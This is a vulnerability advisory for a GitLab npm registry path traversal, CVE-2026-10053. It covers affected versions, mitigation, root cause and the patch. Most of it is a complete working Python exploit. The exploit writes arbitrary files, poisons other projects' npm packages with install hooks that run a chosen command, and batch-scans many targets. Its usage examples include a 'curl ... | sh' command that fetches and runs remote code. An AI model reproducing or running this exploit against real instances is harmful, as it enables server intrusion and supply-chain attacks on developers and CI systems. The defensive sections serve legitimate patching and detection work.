#Summary
CVE-2026-10053 is a TOCTOU (time-of-check time-of-use) path traversal vulnerability in GitLab's npm package registry. An authenticated user with Developer role or above on any single project can write fully attacker-controlled bytes to any absolute path on the filesystem. The vulnerability escalates to remote code execution through npm package poisoning - the attacker can replace legitimate packages with malicious ones that execute code on consumer machines during installation. CVSS 8.5 (HIGH).
#Am I affected?
- Affected: GitLab CE/EE versions 18.8 through 19.0.5, 19.1 through 19.1.3, and 19.2 through 19.2.1
- Patched: GitLab CE/EE 19.0.6, 19.1.4, 19.2.2 and later
- Default configuration: Affected. The npm package registry is enabled by default and packages are stored on the local filesystem by default in self-managed installations.
- Access needed: Authenticated user with Developer role or above on one project, or a personal access token / deploy token / CI job token with package write scope
#Preconditions
- Package files must be stored on the local filesystem (the default). Instances configured with object storage are not affected, as
../becomes a literal key component in S3 paths and does not traverse. - The instance must be running GitLab with the npm package registry enabled (enabled by default).
#How to check
Check your GitLab version:
curl -s https://gitlab.corp.com/api/v4/version | jq '.version'Compare against the affected ranges:
| Range | Status |
|---|---|
| 18.8 - 19.0.5 | Vulnerable |
| 19.0.6+ | Patched |
| 19.1.0 - 19.1.3 | Vulnerable |
| 19.1.4+ | Patched |
| 19.2.0 - 19.2.1 | Vulnerable |
| 19.2.2+ | Patched |
| < 18.8 | Not affected |
If you see a version in the vulnerable ranges and use local filesystem storage for packages, your instance is exploitable by any authenticated user with package write access.
#Fix and mitigation
Fix: Upgrade to GitLab 19.0.6, 19.1.4, 19.2.2 or later. The patch re-validates the upload path at storage time, closing the TOCTOU window.
If you cannot upgrade immediately:
- Configure package storage to use object storage (S3, Google Cloud Storage, or Azure Blob Storage) instead of local filesystem storage. This renders the path traversal ineffective.
- Restrict package registry access to trusted users and roles.
- Monitor package registry publish requests for suspicious
namefields containing../sequences.
Detection: Audit the Sidekiq logs for
Gitlab::PathTraversal::PathTraversalAttackErrorexceptions originating from npm package publish operations. This error indicates an exploitation attempt or the presence of the vulnerable code during attempted exploits.
#Root cause analysis
#How the vulnerability works
GitLab's GitlabUploader base class (in app/uploaders/gitlab_uploader.rb) registers a single path traversal defense hook that fires during the cache phase of file uploads:
before :cache, :protect_from_path_traversal!CarrierWave, the file upload library GitLab uses, divides uploads into two phases:
- Cache phase - Fires when the file attribute is assigned to a model (
model.file = ...). The bytes land in a temporary location andprotect_from_path_traversal!is called. - Store phase - Fires later during
after_savecallback. The final destination path is computed asFile.expand_path(File.join(store_dir, filename), root).
For npm packages, the uploader is Packages::PackageFileUploader, which derives both filename and store_dir live from the model:
def filename
model.file_name
end
def store_dir
dynamic_segment
end#The TOCTOU window
The npm publish flow in GitLab creates a temporary package file record with a benign placeholder filename, then later overwrites that record's file_name attribute with a string interpolated directly from the untrusted JSON publish document.
When package_file.update!(file_name: package_file_name, ...) is called with a hash containing multiple attributes, ActiveRecord processes them in insertion order: file, size, file_sha1, file_name, status. This ordering creates a critical gap:
file=assignment fires CarrierWave's cache phase. At this point,model.file_namestill holds the benign placeholder (e.g.,"pkg-uuid-0.0.0.json"), soprotect_from_path_traversal!validates a clean path and passes.file_name=is assigned next, replacing the benign value with"../segments + absolute path"` interpolated from the attacker's JSON document.update!saves the record. CarrierWave'safter_savehook firesstore!, which callsFile.expand_path(File.join(store_dir, filename), root)using the now-malicious filename. No second validation hook exists, so the traversal reaches the storage layer.
#Vulnerable npm publish flow
The npm publish endpoint (PUT /api/v4/projects/:id/packages/npm/:package_name) routes to Packages::Npm::CreateTemporaryPackageService, which:
- Persists a placeholder package and package file with benign names.
- Enqueues a background job to process the upload.
The background job later calls Packages::Npm::CreatePackageService, which:
- Reads the temporary package record.
- Takes the
update_temp_packagebranch and callspackage_file.update!(file_params.except(:build).merge(status: :default)). file_paramsbuilds the destination filename by interpolating the attacker's JSONnamefield directly, with no validation:
def package_file_name
"#{name}-#{version}.tgz"
end
def file_params
{
file: ...,
file_name: package_file_name, # Attacker controls `name` directly
...
}
endThe npm_package_name_regex validation that would reject traversal sequences is only applied when creating a new package model. On the temp-package update branch, the JSON name never reaches model validation.
#Why the affected range starts at 18.8
The temporary package flow was introduced in version 18.6 behind a feature flag that was disabled by default. The legacy code path without the flag still existed and called create_package!, which validated the name through the regex. In version 18.8, the feature flag and the legacy branch were both removed, making the vulnerable temp-package flow unconditional.
#Patch diff
#What the fix does
The patch adds a second path traversal validation hook that fires immediately before the store phase:
before :cache, :protect_from_path_traversal!
+ before :store, :protect_from_path_traversal!This re-checks the filename, store_dir, and other path segments at store time with the values that will actually be used to build the destination path. If the filename has been mutated to contain traversal sequences between cache and store, the second check catches it before any file is written.
The patch also adds a rescue NotImplementedError block to handle uploaders that do not implement certain path methods, which now surfaces as an exception when the store-time hook runs on those uploaders.
#Proof of concept
#exploit.py - GitLab npm Registry Path Traversal PoC
#!/usr/bin/env python3
"""
CVE-2026-10053 - GitLab CE/EE npm registry TOCTOU path traversal (arbitrary file write -> RCE)
Affected: GitLab CE/EE 18.8 - 19.0.5, 19.1 - 19.1.3, 19.2 - 19.2.1 (fixed in 19.0.6 / 19.1.4 / 19.2.2)
Type: Path traversal / arbitrary file write, escalating to RCE via package poisoning
GitlabUploader only registers `before :cache, :protect_from_path_traversal!`. The npm publish
flow assigns the uploaded bytes to an already persisted package file record and *then* replaces
`file_name` with a string interpolated straight out of the publish document, so the value that
is validated at cache time is not the value CarrierWave uses to build the destination at store
time. One authenticated npm publish whose JSON `name` carries `../` therefore writes fully
controlled bytes to a fully controlled path, as the GitLab application user.
Every request this tool sends climbs 32 levels, which reaches the filesystem root from any
storage layout, then descends into an absolute path of its own choosing. The destination is
absolute, not relative to the package storage root.
Two stages, both confirmed over the network and nothing else:
1. write proof - publish an ordinary npm package to a project the token may write to, then
overwrite that package's stored tarball through the traversal and download
it back. The bytes served are the ones the traversal wrote, at a path this
tool computed itself, which is the file write.
2. poisoning - overwrite the stored npm tarball of a project the token has no membership
in with a package whose install hook runs --command, then pull that tarball
back through the npm API. This is the CVSS S:C scope change, and the command
runs on whatever host next installs the package: a developer workstation, a
CI runner, a build image.
Usage:
python exploit.py --host 192.168.1.10 --port 8929 --token glpat-xxxxxxxxxxxx
python exploit.py --host https://gitlab.corp.com --token glpat-xxx --project 7
python exploit.py --host https://gitlab.corp.com --token glpat-xxx \
--victim-project internal/build-tools --command "curl http://10.0.0.5/s|sh"
python exploit.py --host https://gitlab.corp.com --token glpat-xxx \
--write-path /var/opt/gitlab/gitlab-rails/shared/pages/x-1.0.0.tgz
python exploit.py --list targets.txt --token glpat-xxx --workers 20
Requires a token (personal access token, deploy token or CI job token) that may publish a
package to any one project. Developer role is enough. The instance must store package files on
the local filesystem, which is the default for a self-managed install.
"""
import argparse
import base64
import gzip
import hashlib
import io
import json
import re
import secrets
import ssl
import sys
import tarfile
import time
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-10053"
VULN_TYPE = "Path Traversal -> Arbitrary File Write -> RCE"
# Omnibus default. Override for a source install or a relocated storage path.
DEFAULT_PACKAGES_ROOT = "/var/opt/gitlab/gitlab-rails/shared/packages"
# store_dir contributes seven path components and the storage root a handful more.
# File.expand_path clamps at "/", so an over-long run costs nothing and removes any need to
# know how deep the target's storage root actually is.
TRAVERSAL_DEPTH = 32
# The version the exploit publishes under. Only has to be valid semver.
PUBLISH_VERSION = "1.0.0"
# This endpoint normally sees npm publish traffic; blend into it.
USER_AGENT = "npm/10.8.2 node/v20.17.0 linux x64 workspaces/false"
SEMVER_SUFFIX = re.compile(r"-(\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.\-+]+)?)\.tgz\Z")
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------------------
# HTTP
# --------------------------------------------------------------------------------------
def _ctx(insecure: bool):
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def http(url, token=None, method="GET", data=None, content_type=None,
insecure=False, timeout=60):
"""Returns (status, body_bytes). A status of 0 means the request never completed."""
req = urllib.request.Request(url, data=data, method=method)
req.add_header("User-Agent", USER_AGENT)
if token:
req.add_header("PRIVATE-TOKEN", token)
if content_type:
req.add_header("Content-Type", content_type)
ctx = _ctx(insecure) if url.lower().startswith("https") else None
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
return resp.status, resp.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.read()
except Exception as exc:
return 0, f"{exc.__class__.__name__}: {exc}".encode()
def http_json(url, token=None, method="GET", data=None, content_type=None,
insecure=False, timeout=60):
status, body = http(url, token, method, data, content_type, insecure, timeout)
try:
return status, json.loads(body.decode("utf-8", "replace"))
except Exception:
return status, None
def base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
netloc = host if ((use_tls and port == 443) or (not use_tls and port == 80)) \
else f"{host}:{port}"
return f"{scheme}://{netloc}{(path or '/').rstrip('/')}"
# --------------------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------------------
def traversal_name(dest_dir: str, stem: str) -> str:
"""The JSON `name` that makes CarrierWave store the file at <dest_dir>/<stem>-<ver>.tgz."""
return "../" * TRAVERSAL_DEPTH + dest_dir.strip("/") + "/" + stem
def publish_document(name_field: str, version: str, blob: bytes, tarball_url: str) -> bytes:
"""An npm publish document. `name` carries the traversal instead of a package name."""
doc = {
"name": name_field,
"versions": {
version: {
"name": name_field,
"version": version,
# `tarball` and `shasum` are both required by the npm metadata JSON schema.
# Neither is verified against the bytes; a wrong shasum only downgrades the
# package record to error status, long after the write has happened.
"dist": {
"tarball": tarball_url,
"shasum": hashlib.sha1(blob).hexdigest(),
},
}
},
"dist-tags": {"latest": version},
# The service looks the attachment up by this exact composed string.
"_attachments": {
f"{name_field}-{version}.tgz": {
"content_type": "application/octet-stream",
"data": base64.b64encode(blob).decode(),
"length": len(blob),
}
},
}
return json.dumps(doc).encode()
def npm_tarball(pkg_name: str, pkg_version: str, command=None) -> bytes:
"""A real npm tarball. With `command`, it runs on whoever installs the package."""
manifest = {
"name": pkg_name,
"version": pkg_version,
"description": "internal helper library",
"main": "index.js",
}
if command:
manifest["scripts"] = {"preinstall": command, "postinstall": command}
inner = io.BytesIO()
with tarfile.open(fileobj=inner, mode="w") as tar:
for path, data in (
("package/package.json", json.dumps(manifest, indent=2).encode()),
("package/index.js", b"module.exports = function () { return 'ok'; };\n"),
):
info = tarfile.TarInfo(path)
info.size = len(data)
info.mode = 0o644
info.mtime = 1700000000
tar.addfile(info, io.BytesIO(data))
out = io.BytesIO()
with gzip.GzipFile(fileobj=out, mode="wb", mtime=0) as gz:
gz.write(inner.getvalue())
return out.getvalue()
def read_manifest(tgz: bytes) -> str:
"""Pull package/package.json back out of a downloaded tarball, for evidence."""
try:
with tarfile.open(fileobj=io.BytesIO(tgz), mode="r:gz") as tar:
for member in tar.getmembers():
if member.name.endswith("package.json"):
handle = tar.extractfile(member)
if handle:
return handle.read().decode("utf-8", "replace")
except Exception as exc:
return f"(not a readable tarball: {exc.__class__.__name__})"
return ""
def hashed_dir(packages_root: str, project_id, package_id, file_id) -> str:
"""Gitlab::HashedPath - SHA256 of the project id, fanned out two bytes at a time."""
digest = hashlib.sha256(str(project_id).encode()).hexdigest()
return (f"{packages_root.rstrip('/')}/{digest[0:2]}/{digest[2:4]}/{digest}"
f"/packages/{package_id}/files/{file_id}")
# --------------------------------------------------------------------------------------
# Primitives
# --------------------------------------------------------------------------------------
def project_id_of(base: str, token: str, project, insecure: bool):
"""Numeric id for a project id or path. The hashed storage path needs the number."""
ident = urllib.parse.quote(str(project), safe="")
status, data = http_json(f"{base}/api/v4/projects/{ident}", token,
insecure=insecure, timeout=30)
if status == 200 and isinstance(data, dict):
return data.get("id")
return None
def discover_project(base: str, token: str, insecure: bool):
"""First project the token may publish a package to (Developer role or above)."""
url = (base + "/api/v4/projects"
"?membership=true&min_access_level=30&simple=true&per_page=100&order_by=id")
status, data = http_json(url, token, insecure=insecure, timeout=30)
if status != 200 or not isinstance(data, list):
return None
for project in data:
return project.get("id")
return None
def publish(base: str, token: str, project, name_field: str, version: str,
blob: bytes, insecure: bool):
"""One npm publish. `name_field` is either a package name or a traversal.
Returns (http_status, body_text, url_package_name).
"""
# The URL segment has to satisfy the npm name regex, so it stays ordinary. It never
# reaches the written path; the traversal lives entirely in the JSON body.
url_name = "pkg-" + secrets.token_hex(4)
tarball_url = (f"{base}/api/v4/projects/{project}/packages/npm/"
f"{url_name}/-/{url_name}-{version}.tgz")
body = publish_document(name_field, version, blob, tarball_url)
url = (f"{base}/api/v4/projects/{urllib.parse.quote(str(project), safe='')}"
f"/packages/npm/{url_name}")
status, resp = http(url, token, method="PUT", data=body,
content_type="application/json", insecure=insecure, timeout=90)
return status, resp.decode("utf-8", "replace")[:400], url_name
def arbitrary_write(base: str, token: str, project, dest_dir: str, stem: str,
version: str, blob: bytes, insecure: bool):
"""Publish a traversal document that lands `blob` at <dest_dir>/<stem>-<version>.tgz.
Returns (http_status, body_text, absolute_destination_path).
"""
status, body, _ = publish(base, token, project,
traversal_name(dest_dir, stem), version, blob, insecure)
dest = "/" + dest_dir.strip("/") + "/" + stem + "-" + version + ".tgz"
return status, body, dest
def package_files_of(base, token, project, name, version, insecure):
"""(package_id, file_id, file_name) for a published package, or None."""
status, packages = http_json(
f"{base}/api/v4/projects/{project}/packages"
f"?package_type=npm&per_page=100&package_name={urllib.parse.quote(str(name))}",
token, insecure=insecure, timeout=30)
if status != 200 or not isinstance(packages, list):
return None
for pkg in packages:
if pkg.get("name") != name or pkg.get("version") != version:
continue
if pkg.get("status") not in (None, "default"):
continue
status, files = http_json(
f"{base}/api/v4/projects/{project}/packages/{pkg['id']}/package_files",
token, insecure=insecure, timeout=30)
if status != 200 or not isinstance(files, list):
return None
for item in files:
if item.get("file_name", "").endswith(".tgz"):
return pkg["id"], item["id"], item["file_name"]
return None
def stage_oracle_package(base, token, project, insecure, attempts=20, delay=3):
"""Publish an ordinary npm package to prove the write against.
A published package is the one object on a GitLab instance whose bytes an attacker can
both place on disk at a known path and read back over the network, which is what turns
the traversal into network-observable evidence.
Returns (package_id, file_id, file_name, name, version) or a string explaining why not.
"""
name = "pkg-" + secrets.token_hex(6)
blob = npm_tarball(name, PUBLISH_VERSION)
tarball_url = (f"{base}/api/v4/projects/{project}/packages/npm/"
f"{name}/-/{name}-{PUBLISH_VERSION}.tgz")
body = publish_document(name, PUBLISH_VERSION, blob, tarball_url)
url = (f"{base}/api/v4/projects/{urllib.parse.quote(str(project), safe='')}"
f"/packages/npm/{name}")
status, resp = http(url, token, method="PUT", data=body,
content_type="application/json", insecure=insecure, timeout=90)
if status != 200:
return (f"publish rejected with HTTP {status} "
f"({resp.decode('utf-8', 'replace')[:200]})")
for _ in range(attempts):
time.sleep(delay)
found = package_files_of(base, token, project, name, PUBLISH_VERSION, insecure)
if found:
return found[0], found[1], found[2], name, PUBLISH_VERSION
return "the published package never became available through the API"
def delete_package(base, token, project, package_id, insecure):
status, _ = http(f"{base}/api/v4/projects/{project}/packages/{package_id}",
token, method="DELETE", insecure=insecure, timeout=30)
return status in (200, 202, 204)
def npm_download_url(base, project_id, package_name, file_name):
return (f"{base}/api/v4/projects/{project_id}/packages/npm/"
f"{urllib.parse.quote(package_name, safe='@/')}/-/"
f"{urllib.parse.quote(file_name, safe='@/')}")
def poll_for_bytes(url, token, want_sha256, insecure, attempts=20, delay=3, timeout=60):
"""The write happens in a background job, so poll. Returns (ok, status, body)."""
last_status, last_body = 0, b""
for _ in range(attempts):
time.sleep(delay)
last_status, last_body = http(url, token, insecure=insecure, timeout=timeout)
if last_status == 200 and hashlib.sha256(last_body).hexdigest() == want_sha256:
return True, last_status, last_body
return False, last_status, last_body
def resolve_victim(base: str, token: str, victim: str, package_name, insecure: bool):
"""Locate a stored npm tarball to overwrite, using read access only.
Returns (project_id, package_id, file_id, package_name, file_name, version), or a string
explaining why it could not be resolved.
"""
project_id = project_id_of(base, token, victim, insecure)
if not project_id:
return f"cannot read project '{victim}'"
status, packages = http_json(
f"{base}/api/v4/projects/{project_id}/packages"
"?package_type=npm&status=default&per_page=100", token,
insecure=insecure, timeout=30)
if status != 200 or not isinstance(packages, list) or not packages:
return f"no readable npm packages in project {project_id} (HTTP {status})"
candidates = [p for p in packages
if package_name is None or p.get("name") == package_name]
if not candidates:
return f"package '{package_name}' not found in project {project_id}"
for pkg in candidates:
status, files = http_json(
f"{base}/api/v4/projects/{project_id}/packages/{pkg['id']}/package_files",
token, insecure=insecure, timeout=30)
if status != 200 or not isinstance(files, list):
continue
for item in files:
file_name = item.get("file_name", "")
match = SEMVER_SUFFIX.search(file_name)
if match:
return (project_id, pkg["id"], item["id"], pkg["name"],
file_name, match.group(1))
return f"no npm tarball named <name>-<semver>.tgz in project {project_id}"
# --------------------------------------------------------------------------------------
# Scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path="/", token=None, insecure=False,
packages_root=DEFAULT_PACKAGES_ROOT, keep=False):
"""Silent probe for --list. Overwrites a package of its own through the traversal."""
base = base_url(host, port, use_tls, path)
package_id, project = None, None
try:
project = discover_project(base, token, insecure)
if project is None:
return False, "no project the token may publish to"
staged = stage_oracle_package(base, token, project, insecure,
attempts=12, delay=3)
if isinstance(staged, str):
return False, staged
package_id, file_id, file_name, name, version = staged
marker = secrets.token_hex(16)
blob = f"write-check {marker}\n".encode()
dest_dir = hashed_dir(packages_root, project, package_id, file_id)
stem = file_name[:SEMVER_SUFFIX.search(file_name).start()]
status, _, dest = arbitrary_write(base, token, project, dest_dir, stem,
version, blob, insecure)
if status != 200:
return False, f"traversal publish rejected (HTTP {status})"
ok, last, _ = poll_for_bytes(npm_download_url(base, project, name, file_name),
token, hashlib.sha256(blob).hexdigest(), insecure,
attempts=12, delay=3, timeout=30)
if ok:
return True, f"arbitrary write confirmed at {dest} (bytes served back)"
return False, (f"no write after 36s (last HTTP {last}) - patched, or packages are "
f"on object storage")
except Exception as exc:
return False, f"unreachable ({exc.__class__.__name__})"
finally:
if package_id and project and not keep:
try:
delete_package(base, token, project, package_id, insecure)
except Exception:
pass
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, token=None,
insecure=False, packages_root=DEFAULT_PACKAGES_ROOT, keep=False) -> None:
import concurrent.futures
with open(targets_file) as handle:
targets = [_parse_target(line, default_port) for line in handle]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(target):
host, port, use_tls, path = target
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, token, insecure,
packages_root, keep)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as pool:
futures = {pool.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------
# Single target
# --------------------------------------------------------------------------------------
def exploit(host, port, use_tls, path, args) -> None:
header(host, port)
base = base_url(host, port, use_tls, path)
token, insecure = args.token, args.insecure
step(1, f"Authenticating against {base}")
status, whoami = http_json(f"{base}/api/v4/user", token, insecure=insecure, timeout=30)
if status == 200 and isinstance(whoami, dict):
print(f" token belongs to '{whoami.get('username')}' "
f"(id {whoami.get('id')}, admin={whoami.get('is_admin', False)})")
elif args.project:
print(f" /api/v4/user returned HTTP {status}; continuing with --project "
f"{args.project} (deploy and job tokens cannot read that endpoint)")
else:
section("SERVER RESPONSE", f"HTTP {status} from /api/v4/user")
done(False, "token rejected - supply a valid token, or pass --project when using a "
"deploy or CI job token")
step(2, "Selecting a project to publish through")
project = (project_id_of(base, token, args.project, insecure) if args.project
else discover_project(base, token, insecure))
if project is None:
done(False, "token cannot publish a package to any project - Developer role or "
"above on one project is required")
print(f" project {project}")
step(3, "Publishing an ordinary npm package to overwrite as proof")
staged = stage_oracle_package(base, token, project, insecure)
if isinstance(staged, str):
section("SERVER RESPONSE", staged)
done(False, f"could not stage the proof package: {staged}")
package_id, file_id, file_name, pkg_name, version = staged
download_url = npm_download_url(base, project, pkg_name, file_name)
before_status, before = http(download_url, token, insecure=insecure, timeout=60)
print(f" package {package_id} '{pkg_name}', file {file_id} '{file_name}'")
print(f" served now: HTTP {before_status}, {len(before)} bytes, "
f"sha256 {hashlib.sha256(before).hexdigest()[:32]}")
dest_dir = hashed_dir(args.packages_root, project, package_id, file_id)
stem = file_name[:SEMVER_SUFFIX.search(file_name).start()]
marker = secrets.token_hex(16)
blob = (f"file-write verification marker {marker}\n").encode()
step(4, "Publishing the traversal document")
print(f" JSON name = '../' x {TRAVERSAL_DEPTH} + "
f"{dest_dir.lstrip('/')}/{stem}")
status, body, dest = arbitrary_write(base, token, project, dest_dir, stem,
version, blob, insecure)
print(f" PUT -> HTTP {status}")
if status != 200:
section("SERVER RESPONSE", body)
done(False, f"publish rejected with HTTP {status} - the token lacks package write "
f"permission on project {project}, or the endpoint is unavailable")
print(f" destination: {dest}")
print(" (the write happens in a background job, after the response)")
step(5, "Downloading the package back to see which bytes are on disk")
ok, last_status, served = poll_for_bytes(
download_url, token, hashlib.sha256(blob).hexdigest(), insecure)
if not ok:
section("SERVER RESPONSE",
f"GET {download_url} -> HTTP {last_status} after 60s, "
f"sha256 {hashlib.sha256(served).hexdigest()} "
f"(expected {hashlib.sha256(blob).hexdigest()})")
if not args.keep:
delete_package(base, token, project, package_id, insecure)
done(False, "the stored file was not replaced - the target re-validates the path at "
"store time (patched), or it keeps package files in object storage, "
"where '../' is a literal key component")
section("BYTES SERVED BACK BY THE TARGET",
f"GET {download_url} -> HTTP 200, {len(served)} bytes\n"
f"{served.decode('utf-8', 'replace')}")
print(f" the tarball at {dest} is now the attacker's content")
write_evidence = (f"authenticated arbitrary file write as the GitLab application user "
f"at {dest}, confirmed by reading the bytes back over HTTP")
if args.write_path:
step(6, f"Issuing the operator-requested write -> {args.write_path}")
directory, _, basename = args.write_path.rpartition("/")
match = SEMVER_SUFFIX.search(basename)
if not match:
print(" skipped: the final path component is always "
"'<name>-<semver>.tgz', so --write-path has to end that way")
else:
payload = blob
if args.write_data is not None:
payload = args.write_data.encode()
if args.write_data_file:
with open(args.write_data_file, "rb") as handle:
payload = handle.read()
status, body, target_path = arbitrary_write(
base, token, project, directory, basename[:match.start()],
match.group(1), payload, insecure)
print(f" PUT -> HTTP {status}, {len(payload)} bytes -> {target_path}")
if status == 200:
print(" issued; nothing serves that path back, so this particular "
"write is not independently confirmed here")
if not args.keep:
step(7, "Removing the proof package")
removed = delete_package(base, token, project, package_id, insecure)
print(f" package {package_id} deleted: {removed}")
if not args.victim_project:
done(True, write_evidence)
step(8, f"Locating a stored npm tarball in project '{args.victim_project}'")
resolved = resolve_victim(base, token, args.victim_project,
args.victim_package, insecure)
if isinstance(resolved, str):
print(f" {resolved}")
done(True, write_evidence + "; cross-project poisoning skipped: " + resolved)
victim_id, v_package_id, v_file_id, v_name, v_file_name, v_version = resolved
print(f" project {victim_id}, package {v_package_id} '{v_name}', "
f"file {v_file_id} '{v_file_name}'")
victim_url = npm_download_url(base, victim_id, v_name, v_file_name)
before_status, before = http(victim_url, token, insecure=insecure, timeout=60)
print(f" genuine tarball: HTTP {before_status}, {len(before)} bytes, "
f"sha256 {hashlib.sha256(before).hexdigest()[:32]}")
step(9, f"Overwriting it with a package whose install hook runs: {args.command}")
poisoned = npm_tarball(v_name, v_version, args.command)
dest_dir = hashed_dir(args.packages_root, victim_id, v_package_id, v_file_id)
stem = v_file_name[:SEMVER_SUFFIX.search(v_file_name).start()]
status, body, dest = arbitrary_write(base, token, project, dest_dir, stem,
v_version, poisoned, insecure)
print(f" PUT -> HTTP {status} (published from project {project})")
if status != 200:
section("SERVER RESPONSE", body)
done(True, write_evidence + f"; the poisoning publish was rejected with HTTP {status}")
print(f" destination: {dest}")
step(10, "Downloading the victim package through the public npm API")
ok, last_status, served = poll_for_bytes(
victim_url, token, hashlib.sha256(poisoned).hexdigest(), insecure)
if not ok:
section("SERVER RESPONSE",
f"GET {victim_url} -> HTTP {last_status}, "
f"sha256 {hashlib.sha256(served).hexdigest()} "
f"(expected {hashlib.sha256(poisoned).hexdigest()})")
done(True, write_evidence + "; the victim tarball was not replaced (check "
"--packages-root)")
section("VICTIM PACKAGE AS SERVED BY THE TARGET",
f"GET {victim_url} -> HTTP 200, {len(served)} bytes\n"
f"sha256 {hashlib.sha256(served).hexdigest()}\n\n"
f"{read_manifest(served)}")
print(f" the tarball project {victim_id} serves for {v_name}@{v_version} now "
f"carries an install hook running: {args.command}")
print(" note: a client resolving through the registry compares the tarball "
"against the")
print(" shasum in the package metadata, which this write does not touch, and "
"will refuse")
print(" it. A client that installs from the tarball URL has no integrity "
"metadata to")
print(" compare against and runs the hook, which is what CI jobs and image "
"builds do:")
print(f" npm install {victim_url}")
done(True, f"{write_evidence}; and the npm tarball '{v_file_name}' of project "
f"{victim_id} was overwritten from an unrelated account - it now ships an "
f"install hook running '{args.command}' on every consumer")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://gitlab.corp.com)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--token", required=True,
help="Personal access, deploy or CI job token that may publish a "
"package to at least one project")
parser.add_argument("--command", default="id",
help="Command the poisoned package runs on whoever installs it "
"(default: id)")
parser.add_argument("--project",
help="Project id or path to publish through (default: the first "
"project the token has Developer or above on)")
parser.add_argument("--victim-project",
help="Project id or path whose npm tarball to overwrite. The token "
"needs no membership in it, only read access")
parser.add_argument("--victim-package",
help="npm package name to poison (default: the first npm package "
"found in the victim project)")
parser.add_argument("--packages-root", default=DEFAULT_PACKAGES_ROOT,
help=f"Package storage root on the target "
f"(default: {DEFAULT_PACKAGES_ROOT})")
parser.add_argument("--write-path",
help="Absolute path to write to as well. The final path component "
"is always '<name>-<semver>.tgz', so it must end that way")
parser.add_argument("--write-data",
help="Content for --write-path (default: the verification marker)")
parser.add_argument("--write-data-file",
help="Local file whose bytes are written to --write-path")
parser.add_argument("--keep", action="store_true",
help="Keep the proof package instead of deleting it afterwards")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--insecure", action="store_true",
help="Do not verify TLS certificates")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, token=args.token,
insecure=args.insecure, packages_root=args.packages_root, keep=args.keep)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args)#Usage
python exploit.py --host gitlab.corp.com --port 80 --token glpat-xxxxxxxxxxxxThe exploit requires:
--host- Target hostname, IP address, or full URL (supportshttps://gitlab.corp.com,10.0.0.5:8929, orhttps://host/gitlab)--port- Port when--hostdoes not specify one (default: 80)--token- A personal access token, deploy token, or CI job token with package write scope
Optional arguments:
--command- Command for the poisoned package to execute on install (default:id)--project- Specific project id or path to publish through--victim-project- Project to poison (requires read access only)--victim-package- Specific package name to target--write-path- Arbitrary absolute path to write to (basename must end in-<semver>.tgz)--insecure- Skip TLS certificate verification--keep- Retain the proof package after exploitation
#Expected output (vulnerable instance)
[STEP 1] Authenticating against http://gitlab.corp.com
token belongs to 'attacker' (id 2, admin=False)
[STEP 3] Publishing an ordinary npm package to overwrite as proof
package 15 'pkg-xxx', file 15 'pkg-xxx-1.0.0.tgz'
served now: HTTP 200, 265 bytes
[STEP 5] Downloading the package back to see which bytes are on disk
--- BYTES SERVED BACK BY THE TARGET ---
GET http://gitlab.corp.com/.../pkg-xxx-1.0.0.tgz -> HTTP 200, 64 bytes
file-write verification marker [marker]
---
============================================================
RESULT : SUCCESS
EVIDENCE: authenticated arbitrary file write ... confirmed by reading the bytes back
